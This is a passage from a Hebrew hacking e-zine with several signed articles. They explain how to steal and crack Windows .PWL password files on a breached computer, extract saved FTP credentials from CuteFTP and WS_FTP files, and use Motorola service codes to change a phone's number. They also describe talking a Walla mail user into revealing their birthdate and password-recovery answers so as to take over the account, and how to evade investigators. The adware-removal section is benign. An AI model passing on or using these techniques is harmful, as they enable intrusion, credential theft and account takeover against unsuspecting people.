‫את הסיסמאות רק של המשתמש שעובד עכשיו על המחשב (עוד פעם ‪-‬לא רצוי)‪ ,‬תבדקו דרך‬
‫‪ nbtstat‬מה השם שלו‪,‬‬
‫ותורידו רק את הקובץ שלו‪ .‬איך מורידים? ‪( copy *.pwl c:\pass‬תשנו את ה‪ c:\pass-‬לכל דבר‬
‫אחר)‪.‬‬
‫עכשיו‪ ..‬יש הרבה תוכנות לפריצת קבצי ה‪ .PWL-‬התוכנה הכי מומלצת היא התוכנה ‪.PwlTool‬‬
‫‪ PwlTool‬בודקת את הסיסמאות שבתוך הקובץ‪ ,‬ואם היא לא מצליחה‪ ,‬היא פורצת אותו על ידיי‬
‫‪.BruteForce‬‬
‫גילינו סיסמאות (בדרך כלל של חיבור לאינטרנט)? טוב מאוד‪ ..‬תרשמו במחברת‪.‬‬

‫בגלל שאנחנו עכשיו כבר בתוך ספריית ה‪ ,Windows-‬כנסו לספרית ה‪-‬שולחן עבודה (בדרך כלל‬
‫‪.)Desktop‬‬
‫תבדקו את הקבצים שיש שם‪ ,‬ואת קבצי ה‪ txt-‬שלהם‪.‬‬
‫בדרך כלל אנשים שמים סיסמאות ‪ /‬מספרים ‪ /‬הכל בתןך ה‪ desktop-‬שלהם‪ ,‬במיוחד אם זה‬
‫קובץ ‪ txt‬קטן‪.‬‬
‫*‪ .‬קבצי ‪ lnk‬הם קבצים שמקשרים אותם למקום אחר במחשב (קיצור דרך)‪ .‬אל תיבהלו אם‬
‫אתם רואים את זה בדוס‬
‫ולא מבינים מזה‪.‬‬
‫סיירנו בשולחן העבודה‪ ,‬נהננו‪ ..‬עכשיו ‪ .cd \ -‬להגיעה בחזרה להתחלה‪.‬‬
‫לרשום עוד פעם ‪ dir‬ולחפש קבצי ‪ txt‬לראות אולי יש משהו מעניין‪ .‬אחר כך להכנס ל ‪My -‬‬
‫‪documents‬‬
‫(‪ ,cd My documetns‬או ‪ )cd mydocu~1‬ולראות אולי גם שם יש משהו מעניין‪.‬‬
‫במחשבי ‪ ,NT/2000‬שולחן העבודה והמסמכים שלי‪ ,‬ממוקמים בסיפרית ‪Documents and -‬‬
‫‪settings\User\Desktop‬‬
‫‪ - User‬לכל משתמש יש את ה‪-‬מסמכים שלי‪ ,‬ושולחן עבודה משלו (כמעט כמו לינוקס)‪ ,‬לכן‬
‫כדאי לשחק שם עם כל‬
‫היוזרים‪.‬‬
‫‪ - Desktop‬שולחן עבודה‪ .‬יש שם גם ‪ ,My documents‬ואפילו ‪.Start Menu‬‬

‫‪217‬‬
‫עכשיו‪ ..‬כנסו לתוך ‪..Program Files‬‬
‫אם יש שם ספריה בשם ‪ NetBus / sub7‬וכו‪ ..‬כנסו אלייה ותרשמו *‪( ,del *.‬ואז ‪.)y‬‬
‫מחקנו זבל? ממשיכים‪..‬‬
‫יש מצב שהבן אדם שפרצתם אליו מכיל אתר אינטרנט (או שבגלל זה פשוט פרצתם לאותו‬
‫בנאדם)‪..‬‬
‫המטרה היא לחפש בתוך תוכנות ה‪ FTP-‬שלו את הסיסמה ולהעתיק אותה אל המחשב שלך‬
‫(בהמשך‪)..‬‬

‫אוקיי‪ ..‬פרצנו מספיק לאותו בן‪-‬אדם‪ ..‬להשאיר סימן שהיינו?‬


‫אני מציע ‪-‬לא!‪ .‬אל תעשו שטויות‪ .‬תיזכרו שגנבתם לו מכאן מידע‪ ,‬סיסמאות למקומות ואתרים‪..‬‬
‫גם אל תמחקו לו שם משהו מיוחד‪ .‬חבל‪ ..‬אבל‪ ..‬איך שבא לכם‪ ..‬רק תיזהרו !‬

‫‪ZiroCool‬‬

‫‪218‬‬
‫פריצה לקובץ הסיסמאות של ‪ CuteFTP‬ו‪WS_FTP-‬‬

‫זה ידוע מאוד שכדי לפרוץ לאתר‪ ,‬יהיה יותר קל לגלות את הסיסמה‪ ,‬במקום ללכת 'ראש בראש'‬
‫עם ה‪.Firewall-‬‬
‫ה‪ Firewall-‬זה דבר מאוד מאוד עצבני שהחברות שעושות אותו לא מרשות לעצמם להגיע למצב‬
‫שמשהו יפרוץ‬
‫אותו‪ ,‬לכן הם קונים את ההאקרים הטובים ביותר כדיי שיעבדו להם בחברה ויגלו טעויות‬
‫ובאגים שנותנים‬
‫'דלת אחורית' (‪ )Backdoor‬לאלה שרוצים לפרוץ‪.‬‬

‫לכן‪ ,‬ברגע שפרצנו למשתמש רגיל שלא מחובר לסרבר של חברה גדולה‪ ,‬אפשר להכנס לספרייה‬
‫של תוכנת ה‪ftp-‬‬
‫שלו‪ ,‬שממנה הוא מעלה את המידע לאתר ולהוריד משם את קובץ הסיסמאות שלו‪.‬‬

‫שני התוכנות העיקריות להעברת קבצים ב‪ ftp-‬הן ‪ CuteFTP -‬ו‪WsFtp-‬‬

‫‪( CuteFTP‬לרוב ‪)C:\Program Files\GlobalSCAPE\CuteFTP‬‬


‫‪------------------------------------------------------‬‬
‫שם הקובץ הוא ‪ SmData.dat‬או ‪ sm.dat‬והוא נמצא בספרייה הראשית של התוכנה‪.‬‬
‫הקובץ בנוי ככה‪:‬‬

‫^?^‪DWebsite.ftp.mywebsite.com^Dwebmaster^H©?«^?^?^??? ^B ^? ^U ^B‬‬
‫‪$^?^?^?^?^B ^B ^B ^B ^B ^A‬‬
‫‪- ------------------------ --------- --------‬‬
‫|‪ -‬כתובת ה‪ftp-‬‬ ‫|‬ ‫|‬
‫|‪ -‬שם המשתמש‬ ‫|‬
‫|‪ -‬הסיסמה מוצפנת‬

‫‪( WS_Ftp‬לרוב נמצא ב ‪)C:\Program Files\WS_FTP‬‬


‫‪----------------------------------------------‬‬

‫שם הקובץ הוא ‪ WS_FTP.ini‬והוא נמצא בספרייה הראשית של התוכנה‪.‬‬


‫הקובץ בנוי ככה‪:‬‬

‫‪ -‬שם הסרבר שאליו מתחברים (בתור 'תיקיה' בקובץ)‬ ‫[‪]someserver.net‬‬


‫‪ -‬אותו הדבר‬ ‫‪HOST=someserver.net‬‬
‫‪ -‬שם המשתמש של הבן‪-‬אדם‬ ‫‪UID=username‬‬
‫‪ - PWD=V85BBA542C741701BA410C68F1EB2C0B1A76C793867A4‬הסיסמה‬
‫מוצפנת‬
‫‪|-‬‬ ‫‪"DIR="/Ipswitch/Product_Downloads‬‬
‫| דברים שממש לא חשובים לנו‪.‬‬ ‫‪PASVMODE=1‬‬
‫|‬ ‫‪TIMEOFFSET=0‬‬
‫‪|-‬‬ ‫‪"rdir0="/public_html‬‬

‫יש שני אפשרויות לגלות את הסיסמה‪ .‬אפשרות אחת היא קשה‪ ,‬ומסובכת וסתם מטומטמת‪.‬‬
‫אבל נכון‬

‫‪219‬‬
‫שיש לנו כאן בחברה אנשים שרוצים לדבר בשפה הבינארית במקום השפה האמיתית שלהם אז‬
‫הנה השיטה‪:‬‬
‫בסיסמה יש את התוים ‪-‬‬
‫‪ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567‬‬
‫‪?><":}{|+_/.,;'][\=-~`)(*&^%$#@!890‬‬
‫(התווים שמשמאל בדרך כלל לא משתמשים אבל עדיין)‪.‬‬
‫מה שעושים זה לעשות סיסמה משלך ולבדוק כל פעם איזה תווים זה רושם וככה ליצור טבלה‪.‬‬

‫ויש את השיטה הקלה‪ :‬לשמור את הקובץ המקורי של הסיסמאות שלך‪ ,‬ולהעתיק אלייך את של‬
‫המשתמש שהורדת‬
‫ממנו‪ ,‬ואז להפעיל את התוכנה ותקבל ישר את הסיסמה ברשימה של הסרברים‪( .‬מומלץ!)‪.‬‬

‫‪ZiroCool‬‬

‫‪220‬‬
‫‪ - MOTOROLA‬קוד טכנאי‬

‫לטלפונים הסלולריים של מוטורולה יש קוד טכנאי שמאפשר לשנות הרבה דברים בתוך‬
‫הטלפון‪.‬‬
‫בהתחלה צריך להכנס ל"בדיקה מצב" (‪ ,)Test Mode‬ומשם מגיעים לכל הדברים האחרים‪.‬‬
‫הקוד עובד בטלפונים של מוטורולה עם הכפתורים ‪ .FCN, STO‬לא עובד על ‪.GSM‬‬
‫יש להזהר מאוד עם הקודים האלה‪ ,‬למה הם יכולים להרוס את הטלפון בקלות‪ ..‬אז לאט לאט‪..‬‬

‫כדיי להכנס ל"בדיקת מצב" יש להקיש ‪.FCN 00**83786633 STO #, 55# -‬‬
‫אחרי שהקשנו את הקוד יש לנו שני אפשרויות‪ .‬אפשרות אחת היא להקיש עוד קוד בתוך‬
‫"בדיקת המצב"‪ ,‬ואפשרות‬
‫שנייה היא להקיש * ולדפדף בפרטים שהטלפון מביא‪.‬‬

‫קודים בתוך ה‪Test Mode-‬‬


‫‪------------------------‬‬

‫‪ - 01#‬סוגר ופותח את הטלפון‪- .‬אותה פקודה כמו כפתור ה‪.pwr-‬‬


‫‪ - 03#‬מאפס את הזמן האוטונומי‪.‬‬
‫‪ - 04#‬מחזיר את הטלפון למצב רגיל‪.‬‬
‫‪ - 05#‬צליל ‪ ,TX‬הפעלה‪.‬‬
‫‪ - 06#‬צליל ‪ ,TX‬כיבוי‪.‬‬
‫‪ RX - 07#‬אודיו‪ ,‬כיבוי‪.‬‬
‫‪ RX - 08#‬אודיו‪ ,‬הפעלה‪.‬‬
‫‪ TX - 09#‬אודיו‪ ,‬כיבוי‪.‬‬
‫‪ TX - 10#‬אודיו‪ ,‬הפעלה‪.‬‬
‫‪(#‬ערוץ)‪ - 11‬מעביר את הקולט לערוץ מסויים‪ .‬עובד על עד ‪ 4‬מספרים‪.‬‬
‫‪(#‬דרגה)‪ - 12‬מפעיל את עוצמת החשמל לדרגה מסויימת‪=0 .)1,0-7( .‬עוצמה מלאה (‪ 3‬וואט)‪.‬‬
‫‪ - 13#‬משתיק את הרדיו‪.‬‬
‫‪ ,10kHz - 14#‬הפעלה‪.‬‬
‫‪ ,10kHz - 15#‬כיבוי‪.‬‬
‫‪ - 28#‬הפעלת תדרים גבוהים (‪.)1150Hz +/- 55Hz‬‬
‫‪ - 29#‬כיבוי תדרים גבוהים‪.‬‬
‫‪ - 30#‬הפעלת תדרים נמוכים (‪.)770Hz +/- 40Hz‬‬
‫‪ - 31#‬כיבוי תדרים נמוכים‪.‬‬
‫‪ - 32#‬מנקה את כל הטלפון! ‪ -‬מוחק הכל!! ‪-‬לוקח כמה דקות‪ ,‬אסור לכבות את הטלפון כל עוד‬
‫יש את המספר ‪32‬‬
‫על המסך‪ .‬ברגע שהמספר יורד‪ ,‬אפשר לכבות את הטלפון‪.‬‬
‫‪(#‬מספר)‪ - 35‬המצב של הטלפון‪=0 .‬מיקרופון‪=1 ,‬רשמקול‪=2 ,‬הודעה‪=3 ,‬רגיל‪=4 ,‬השתק‪.‬‬
‫‪ - 45#‬מראה את ה ‪.RSSI -‬‬
‫‪ - 46#‬מראה את ה‪ Call Timers-‬המצטבר‪.‬‬
‫‪ - 61#‬העברת ‪.ESN‬‬
‫‪ - 62#‬להפעיל צילצול‪.‬‬
‫‪ - 63#‬לכבות צילצול‪.‬‬

‫פרטים נוספים‬
‫‪--------------‬‬

‫‪221‬‬
‫כדי לדפדף יש להשתמש במקש *‪ .‬כשמגיעים למצב שהטלפון מראה '‪ ,‬יש להקיש ‪ 01#‬כדיי‬
‫לכבות את הטלפון‪.‬‬
‫‪ - 01‬מספר מערכת‪.‬‬
‫‪ - 02‬אפשרות תכנות‪.‬‬
‫‪ - 03‬מספר טלפון עם קידומת‪.‬‬
‫‪.Station Class Mark - 04‬‬
‫‪.Access Overload Class - 05‬‬
‫‪ - 06‬מספר של הקבוצה‪.‬‬
‫< ‪ -------‬קוד האבטחה והקוד הסודי‬ ‫‪ - 07‬קוד של האבטחה‪.‬‬
‫< ‪ -------‬של הטלפון‪ .‬לפתיחה אם הוא נעול‪.‬‬ ‫‪ - 08‬קוד הסודי‪.‬‬
‫‪ - 09‬דרגת אבטחה‪.‬‬
‫‪ - 10‬אפשרות תכנות‪.‬‬
‫‪ - 11‬אפשרות תכנות‪.‬‬
‫‪.Initial Paging Channel - 12‬‬
‫‪ - 13‬מערכת ‪.A‬‬
‫‪ - 14‬מערכת ‪.B‬‬
‫‪.Number Paging Channel - 15‬‬
‫‪ - 16‬אפשרות תכנות‪.‬‬

‫שינוי מספר הטלפון‬


‫‪-------------------‬‬
‫כדי לשנות את מספר הטלפון שלך‪ ,‬צריך לדעת לפני את הקידומת של הרשת‪.‬‬
‫אם המספר שלך מתחיל למשל ב‪ 050-‬זה לא אומר שהקידומת של הרשת היא ‪.050‬‬
‫כדי לבדוק את הקידומת‪ ,‬לכו לטלפון שמתחיל בקידומת שאתם רוצים (‪ ,)050,051,056‬תלחצו ‪#‬‬
‫‪,RCL‬‬
‫ותראו את הקידומת שהטלפון רושם‪.‬‬
‫* ‪.FCN 00**83786633 STO #, 55#, *, 11101100,‬‬
‫על הצג יהייה רשום את מספר הטלפון שלך‪- .‬תרשום מספר חדש‪ ,‬ותלחץ על * (איזה ‪ 15‬פעם)‬
‫עד שתגיע למצב‬
‫שיהייה רשום ' על המסך‪ .‬ברגע שהגעת‪ ,‬לחץ ‪ 01#‬כדיי לסגור ולהפעיל את הפלאפון‪ ,‬ועכשיו יש‬
‫לך מספר חדש‪.‬‬

‫ציטוט לרשת דרך הטלפון‬


‫‪-----------------------‬‬
‫ציטוט לטלפון שברשת שלך‪ .‬הרבה זמן לא בדקתי את זה‪ ,‬ואני לא‬
‫בטוח שזה עובד‪ ,‬אבל זה הקוד‪ ...‬תנסו ותגידו לי איך זה‪..‬‬
‫‪FCN 00**83786633 STO # 11300 # 08 #‬‬

‫‪MOTOROLA GSM‬‬
‫‪---------------‬‬
‫בעיקרון‪ ..‬הקוד היחיד שאני יכול להגיד שהוא באמת עובד‪ ,‬הוא הקוד שבודק את ה‪IMEI-‬‬
‫‪.*#06#‬‬
‫‪ 15‬ספרות שמזהות את הקו שלך בתוך הרשת‪XXXXXX (TAC) XX (FAC) XXXXXX( .‬‬
‫‪(SNR) X (SP‬‬
‫אז כאן לא ממש עזרתי‪..‬‬

‫בכל מקרה‪,‬‬
‫תהנו לכם‪ ..‬ביי‪...‬‬

‫‪ZiroCool‬‬

‫‪222‬‬
‫קבצי פי‪.‬דבליאו‪.‬אל (‪)PWL FILES‬‬

‫שלום‪ ,‬אז אני אסביר לכם מה זה הקבצים האלה ביככל‪ ,‬מה שימושם במערכת ההפעלה‪,‬‬
‫איזה מידע מאוכסן עליהם‪ ,‬האים צריך אותם ביכלל ‪ ,‬ובקיצור אני אסביר הכל‪.‬‬
‫‪------------------------------------------------------------------------------‬‬
‫אז נתחיל מלהכיר את הקובץ‪:‬‬

‫המיקום שלו תמיד יהיה אם יש לכם מערכת הפעלה ווידוס‪:‬‬


‫‪C:\WINDOWS‬‬

‫הסיומת שלו תמיד תיהיה‪:‬‬

‫‪x.pwl‬‬
‫כאשר ‪ =X‬שם שמישתמש שבחרתם בעת התקנת הווינדוס או בשלב הרישום‪ ,‬בקיצור‬
‫הסיריאל‪.‬‬

‫לדוגמה‪ :‬התקנתי ווינדוס (‪ )win9x‬וכשהגעתי לשלשב הרישום רשמתי את המיספר‬


‫רישיון סידורי ואת השם שלי‪ .‬בחרתי בשם ‪ ; example‬אז קובץ ה ‪ pwl‬שלי ניקרא‬
‫‪ example.pwl‬אני חושב שהבנתם את העיקרון‪.‬‬

‫מה מאוכסן עליו‪:‬‬


‫‪-----------------------------‬‬
‫כל הסיסמאות של הכניסה לרשת‪ ,‬סיסמאות של ווינדוס‪ ,‬סיסמאות שרשמתם איי פעם‪,‬‬
‫סיסמאות אידמין (‪ ,)admin‬מספרי כרטיסי אשראי עם פעם הבנאדם קנה משהו דרך הרשת‪,‬‬
‫סיסמאות לאתרים שאמרנו שהמחשב ישמור וכדומה סיסמאות אירוח חשבונות אימלים וכאלה‪.‬‬

‫!הערה‪:‬‬
‫לשים לב!‬
‫קבצי ה‪ PWL-‬שומרים את הסיסמאות של האתרים‪ ,‬וגם הקבצים רושמים‬
‫לעצמם מה שכתוב ב‪ !COOKIES-‬אז תבדילו בים פי‪.‬דבלאיו‪.‬אל לבין קבצי "עוגיות"‬

‫מה יתן לי קובץ כזה‪:‬‬

‫אז קודם כל‪ ,‬תרצו או לא תרצו זה בכל מחשב שמותקן עליו (‪.)win9x‬‬
‫אם אתם פורצים למחשב של מישהו או שהשגתם קובץ כזה של אחר‪,‬‬
‫ע"י פיצוח הקובץ‪ ,‬ניתן להשיג סיסמאות אימיל‪ ,‬חשבונות אירוח ‪ -‬הוסטינג‪ ,‬סיסמאות רשת‬
‫ובקיצור כל הסיסמאות שהוא רשם‪ ,‬עוד שימוש זה בבית ספר אם מפצחים את הקובץ‬
‫‪.admin.pwl‬‬

‫השגת הסיסמאות‪:‬‬

‫על מנת להשיג את כל הסיסמאות האלה לא מספיק הכך שיש לכם את הקובץ! אתם צריכים גם‬
‫לפצח אותו או לקרוא אותו! ואני לא מיתכוון לתיכנות שאני אומר קריאה‪ ,‬כי לפעמים‬
‫באמת יש קבצים שניתן לקרוא ע"י תוכנה ב ‪ ++C‬או אדיטור (‪ - )editor‬עורך שפת תיכנות‬
‫אחרת‪.‬‬

‫‪223‬‬
‫אני מתכוון לתוכנות שיודעות לתרגם ולקרוא את הקבצים האלה‪ ,‬וגם ולהציג נתונים‬
‫בשפה שלנו‪,‬‬
‫קיימים שני שוגי פיצוח על מנת להשיג את הסיסמאות‪:‬‬

‫‪ )1‬התוכנות שקוראות ומתרגמות אותם‪ ,‬לדעתי זה הכי טוב הם עושים זאות תוך שניות‪ ,‬מאוד‬
‫מומלץ אני מישתמש בזה‪.‬‬
‫‪ )2‬שימוש בתוכנות פיצוח העושות שימוש בכוח הברוטלי‪ ,‬הם מעולות גם! אך החיסרון שלהם‬
‫שזה לוקח המון זמן ואפילו כמה שעות טובות!‬

‫[יש לציין שאת שתי התוכנות משני הסוגים ניתן להוריד בפינת העזרים לקראקרים!]‬

‫הפיצוח עצמו‪:‬‬

‫תורידו את התוכנות‪ ,‬מה שנוח לכם‪ ,‬אני לא אסביר כאן איך בידיוק לפצח מסיבה ‪:1‬‬
‫אין מה להסביר! זה ממש קל! אתם מעלים את הקובץ והולכים לפי ההוראות מה שיש שם‪.‬‬
‫בקיצור‪ ,‬התוכנות בעלות ממישק ממק קל גם למישתמש המתחיל‪ ,‬אחרי שתפצחו אותם‬
‫כל מה שמכיל קובץ הפי‪.‬דבלאיו‪.‬אל אתם תראו‪ ,‬סימאות לאתרים‪ ,‬אימלים‪ ,‬רשתות‬
‫‪,‬וכל מה שהזכרתי לכם‪.‬‬

‫החיסרון בפיצוח שאתם צריכים לנחש את ה ‪ , User‬אבל אני מצאתי לכם משהו שיעזור !‬
‫תיסתכלו בטיפים‬

‫‪:TIPS‬‬

‫‪ )1‬בדרך כלל כפי שהסברתי למלע‪ ,‬כל מה שיבוא לפני סיומת ה ‪ file.pwl‬זה השם מישתמש(‬
‫‪ )user‬כמו שרשמתי‬
‫למלע בדוגמה!‬
‫‪ ).2‬בבתי ספר‪ ,‬רשתות ביתים‪ ,‬סיפריות‪ ,‬וכאלה‪ ,‬בדרך כלל היוזר הוא ‪. admin‬‬

‫‪ )3‬אם אתם רוצים לפצח קובץ ‪ pwl‬שנמצא במחשב שאתם עובדים עליו‪ ,‬איך תנחשו יוזר?‬
‫פשוט מאוד‪ ,‬מצביעים אבל לא לוחצים! על‬
‫התחל>ניתוק ‪ .‬ואז יהיה רשום לדוגמה‪ ,‬כמו שרשמתי בהתחלה‪ ,‬שהתקנתי (‪)win9x‬‬
‫רשמתי את שם המישתמש על ‪ example‬אז המישתמש שלי זה ‪. example‬‬
‫אתם תראו ניתוק ‪ ...example‬ולהוכיח לכם‪.‬‬
‫איזה שם שהתקנתם את הווינדוס זה היוזר שלכם‪ .‬ותראו שמשה שכתוב בניתוק נמצא ב‬
‫‪.pwl‬השם שנתתם לכם ברישיון \ ‪C:\WINDOW‬‬

‫עוד שיטה‪ :‬לכו למחשב שלי>קליק ימני של העכבר>מאפינים>תעשו שם כללי> ותראו על שם‬
‫מי המחשב רשום‬
‫וזה היוזר ‪-‬מישתמש (‪.)user‬‬

‫הטקסט הזה יצא קטלני‪ ,‬טוב‪ ,‬לא הייתי משוויץ אבל באמת מפורט‪ ,‬אז מי שלא הבין הוא ממש‬
‫מפגר‪.‬‬

‫אז תהנו‪ ,‬אל תעשו שטויות‪ ,‬ותזכרו שאם נידפקתם בעייה שלכם !‬

‫‪patcher‬‬

‫‪224‬‬
‫כניסה בדרך מתוחכמת לחשבונות ואללה דואר‪ ,‬סיטי‪ ,‬ועוד‬

‫אני לא ילמד כאן איך לפרוץ! אני פשוט יסביר בדרך מתוחכמת איך לחשוף‬
‫סיסמאות של חשבונות דואר‪ ,‬יומנים‪ ,‬איכסון אתר שם‪ ,‬וכל השרותים חינם שניתנים במנוע‬
‫החיפוש והפורטל הישראלי הגדול‬
‫‪www.walla.co.il‬‬
‫אתם צריכים לגלות את המזכיר סיסמא ואת התשובה‬

‫אם תענו נכון תקבלו סיסמא לחשבון ותעשו מה שבא לכם‪.‬‬


‫נתחיל מכניסה לאימיל שאם זה עובד כל שרות שם יעבוד כמו למי שמאכסן אתר שם‬

‫שאלות סיסמא נפוצות שאפשר להשיג תשובות בקלות שבדרך כלל אנשים ירשמו‬
‫בתור מזכיר‪:‬‬

‫יש אנשים שרושמים את הסיסמא שלהם בתור שאלת סיסמא‪ ,‬יש אנשים שרושמים‬
‫איך קוראים לחברה או לחבר שלי‪ 4 ,‬ספרות אחרונות של תעודת זהות‪ ,‬מיספרי המזל‬
‫שלי (אם נגלה אותו זה כבר לא)‪ ,‬טלפון‪ ,‬שם‪ ,‬מכונית‪ ,‬מוסיקה ‪ ,‬מה אני שותה כל בוקר (ויש‬
‫מפגרים כאלה) במה אני עובד (עוד כאלה)ועוד‪.‬‬
‫את כל זה אתם יכולים לגלות תוך כדי ניהול שיחת צ'ט מסריחה‪ -.‬כמובן שלא תשאלו‬
‫אותו ישר על זה! תנהלו שיחה תרבותית‪ ,‬לאט לאט וכשתגיעו למזכיר סיסמא תשאלו‬
‫אותו‪.‬‬

‫******* איך להגיע למזכיר סיסמא?‪ -‬זה בהמשך**************‬

‫למה זה טוב ביכלל‪:‬‬


‫א‪ .‬זאת דרך חוקית ללא שימוש בכלי עזר וידע בהאקינג כך שאף אחד לא יכול להפליל אתכם‪.‬‬
‫נכנסתם למערכת בדרך חוקית!‬

‫ב‪ .‬אם למישהו יש שם אימיל או שמארח אתר ואתם צריכים לפרוץ לו‪.‬‬
‫‪mail.walla.co.il‬‬

‫כניסה לחשבון אחר בדרך חוקית ללא כלים וללא ידע בפריצות‪.‬‬

‫מאיפה משיגים‪:‬‬

‫אתה צריך לשוחח קודם כל אם מי שיש לו שם חשבון באתר או למי שמאכסן שם אתר שבא‬
‫לך לפרוץ לו‬

‫‪225‬‬
‫איפה מוצאים אנשים כאלה‪:‬‬

‫טוב‪ ,‬אז זה הולך כך‪ ,‬זה יכול להיות חברים שלכם‪ ,‬אחים‪ ,‬קרובים או סתם חראות שאתם‬
‫מדברים איתם‪ .‬מי שיש לו חשבון שם בקיצור‬

‫מה צריך להיות להם‪:‬‬

‫חשבון באתר באתר‬

‫‪http://walla.co.il‬‬
‫!למי שלא יודע!‬

‫איזה פרטים אתה צריך בידיוק‪:‬‬

‫כתובת דואר אלקטרונית‬

‫תאריך לידה מלא‬

‫צעד א‪:‬‬
‫אז תשאלו אותו‪ ,‬תוך כדי שיחה מה התאריך לידה שלו‪ ,‬ואם אתם ב ‪ ICQ‬או משהו‬
‫כזה‪ ,‬אז יכול להיות שבפריטי מישתמש שלו‪ ,‬הוא רשם‪.‬‬

‫צעד ב‪:‬‬
‫רושמים את הכינוי שלו‪ ,‬או את שמו ‪ ,‬יכול להיות שזאת הסיסמא‪ ,‬אבל אני‬
‫לא מלמד כאן איך לפרוץ ססמא ‪ ,‬אלה איך לגלות מזכיר סיסמא‪ .‬או תנסו ‪.1234‬‬

‫צעד ג‪:‬‬

‫הולכים לכתובות הבאה‪:‬‬

‫‪mail.walla.co.il‬‬

‫יש לכם את האימיל שלו?‬

‫אם כן יופי!‪..+‬‬

‫האימיל שלו‬

‫‪fuck@walla.co.il‬‬

‫שם המישתמש ‪fuck :‬‬

‫בקיצור‪ :‬כל מה שיבוא לפני הסימן"@" זה שם מישתמש‪.‬‬

‫אתם חייבים להשיג את התאריך לידה שלו המלא זוכרים?‬


‫תשאלו אותו‪ :‬איזה מזל אתה?‬

‫‪226‬‬
‫הוא יגיד‪XXX :‬‬

‫אתם‪ :‬מה באמת? גם אני כך‪ ..‬מה התאריך לידה?‬

‫הוא‪X.X :‬‬

‫אתם‪ :‬באיזה שנה?‬

‫הוא‪ :‬יגיד את שנת הלידה‪.‬‬

‫עוד שיטה לגילוי תאריך לידה‪ :‬תגידו לו שאתם מתענינים באסטרולוגיה‪....‬‬

‫נכנסים לכתובת שציינתי למעלה ‪ - ,‬כתובת האתר ‪ ,‬לא הדואר‬

‫שלב ד‪:‬‬
‫רושמים שם מישתמש‪ -‬כמו שאמרתי לכם‪ ,‬ועושים‪ " :‬שכחתי סיסמא"‬
‫רושמים שוב שם מישתמש ותאריך לידה‪ ,‬ואז אישור או מה שיש שם‬
‫ואחר כך תיהיה השאלה שאם תענו נכון תקבלו סיסמא לחשבון הדואר‪.‬‬

‫השאלות סיסמא יכולות להופיע בסגנון מה שרשמתי בהתחלה‪ ,‬הבהרה‪.‬‬


‫דוגמה‪ :‬איך קוראים לסבתא שלי‬
‫תשאלו אותו‪" :‬אחי‪ ,‬קוראים לסבתא שלך ‪"X‬‬
‫ההוא‪ :‬לא ‪ ,‬למה?‬
‫בקיצור תגיעו איתו לתשובה של שאלת סיסמא ‪,‬והקטע עם הסבתא זה סתם‬
‫זה יכול להיות על כל נושא שבעולם כמו מה שרשמתי בהבהרה‪.‬‬

‫תרשמו‪ ,‬ותקבלו‪.‬‬

‫‪patcher‬‬

‫‪227‬‬
‫‪Adware‬‬

‫תוכנות רבות בימנו פועלות תחת רשיון ‪ .Adware‬תוכנות אלו מתקינות רכיבים‪,‬‬
‫שמראים לנו פרסומות ויכולים גם לרגל אחרינו (‪ .)Spyware‬כך תסירו אותם‪.‬‬

‫השיטה הראשונה‪ ,‬היא פשוט להסיר ידנית כל תוכנה‪ ,‬שמציגה פרסומות‪ .‬כדי להסיר תוכנה‪,‬‬
‫גשו ל‪.''Start'', ''Settings'', ''Control Panel''-‬‬
‫לחצו לחיצה כפולה על ''‪ .''Add/Remove Programs‬סמנו את התוכנה‪ ,‬שברצונכם להסיר‪,‬‬
‫ולחצו על ''‪.''Add/Remove‬‬
‫השיטה שניה והבטוחה יותר היא להשתמש בתוכנת סריקה‪ ,‬שמשוטטת על הדיסק הקשיח‬
‫שלכם‪,‬‬
‫ומורידה את כל האזכורים לרכיב הפרסומת‪ .‬את התוכנות השונות‪ ,‬תוכלו להוריד מהקישורים‬
‫המצורפים‪.‬‬
‫שימו לב‪ ,‬שתוכנות מסוימות לא יעבדו לאחר שהורדתם את רכיבי הפרסומות‪.‬‬
‫‪---------------------------------------------------------‬‬
‫קישורים‪:‬‬

‫תוכנות שמסירות את הריגול‪:‬‬

‫‪OptOut: http://grc.com/files/optout.exe‬‬

‫‪AdAware: http://www.lavasoft.de/BINARY/awbin/aaw45.exe‬‬

‫‪patcher‬‬

‫‪228‬‬
‫אנונימיות‬

‫‪ 20‬דברים חשובים כדי ליהיות אנונימי ולא להחשד‪:‬‬

‫‪ .1‬בחיים לא לתת את השם שלך בעולם ההאקינג‬


‫‪ .2‬לזייף איי פי‪ ,‬אך לא לעשות אותו כך‪ ,0.0.0.0 :‬תעשו שזה יראה אמיתי‬
‫‪ .3‬לא להעלות תכנים אסורים ברשת‬
‫‪ .4‬כשאתה פורץ למחשב‪ ,‬לא להשאיר כל מיני הודעות במסמך טקסט‬
‫‪ .5‬כשאתה פורץ למחשב‪ ,‬לא להדפיס דרך המדפסת שלו (ואפשר לעשות את זה‪)...‬‬
‫‪ .6‬כשאתה פורץ לאתר‪ ,‬לא להשאיר מודעות שיחשפו אותך‬
‫‪ .7‬כשאתה פורץ למחשב‪ ,‬לעולם אל תמחק לו כלום‪ ,‬רק תעתיק‬
‫‪ .8‬כשאתה מעלה תכנים אסורים לרשת‪,‬תשתמש בשם הזה לקבצים‪ my_wedding :‬וכל מיני‬
‫כאלה‬
‫כך שהשרת לא יבחין בכוונות האמיתיות שלך‬
‫‪ .9‬לא להתלהב בפני חברים שאתה האקר‪ ,‬גם לא להתלהב לפני אמא‪..‬‬
‫‪ .10‬כשאתם שולחים דואר מזויף‪ ,‬אל תזדהו כ‪hacker-‬‬
‫‪ .11‬ליהיות כמה שיותר במעמדה נמוכה‪ ,‬שאף אחד לא יכיר אותכם‬
‫‪ .12‬בחיים!! אל תדברו על זה שיש לכם רישומון‬
‫‪ .13‬אל תגידו גיל‬
‫‪ .14‬לחברים שלכם אף פעם לא תגידו שאתם האקרים‪ ,‬בגלל שלא כדאי לערב את החיים‬
‫החברתיים ואישיים‬
‫עם חיי ההאקינג‪ .‬במחשב אתם בעולם שונה ועם החברים אתם עולם שונה‬
‫‪ .15‬תשתדלו לא להקים אתר‬
‫‪ .16‬אם בכל זאת אתם רוצים אתר האקינג בעברית‪ ,‬תעלו את זה תמיד לשרת באנגלית‬
‫‪ .17‬להמציא כינוי לא חושף לעצמכם‪ .‬למשל אל תקראו לעצמכם ‪ ...T0m3R‬כי אז יודעים‬
‫שקוראים לעצמכם‬
‫תומר‪...‬‬
‫‪ .18‬תנסו להטעות את אלה שמחפשים אחריכם‪ .‬למשל אם קוראים לכם גל‪ ,‬תקראו לעצמכם ערן‬
‫מילושוביץ‪...‬‬
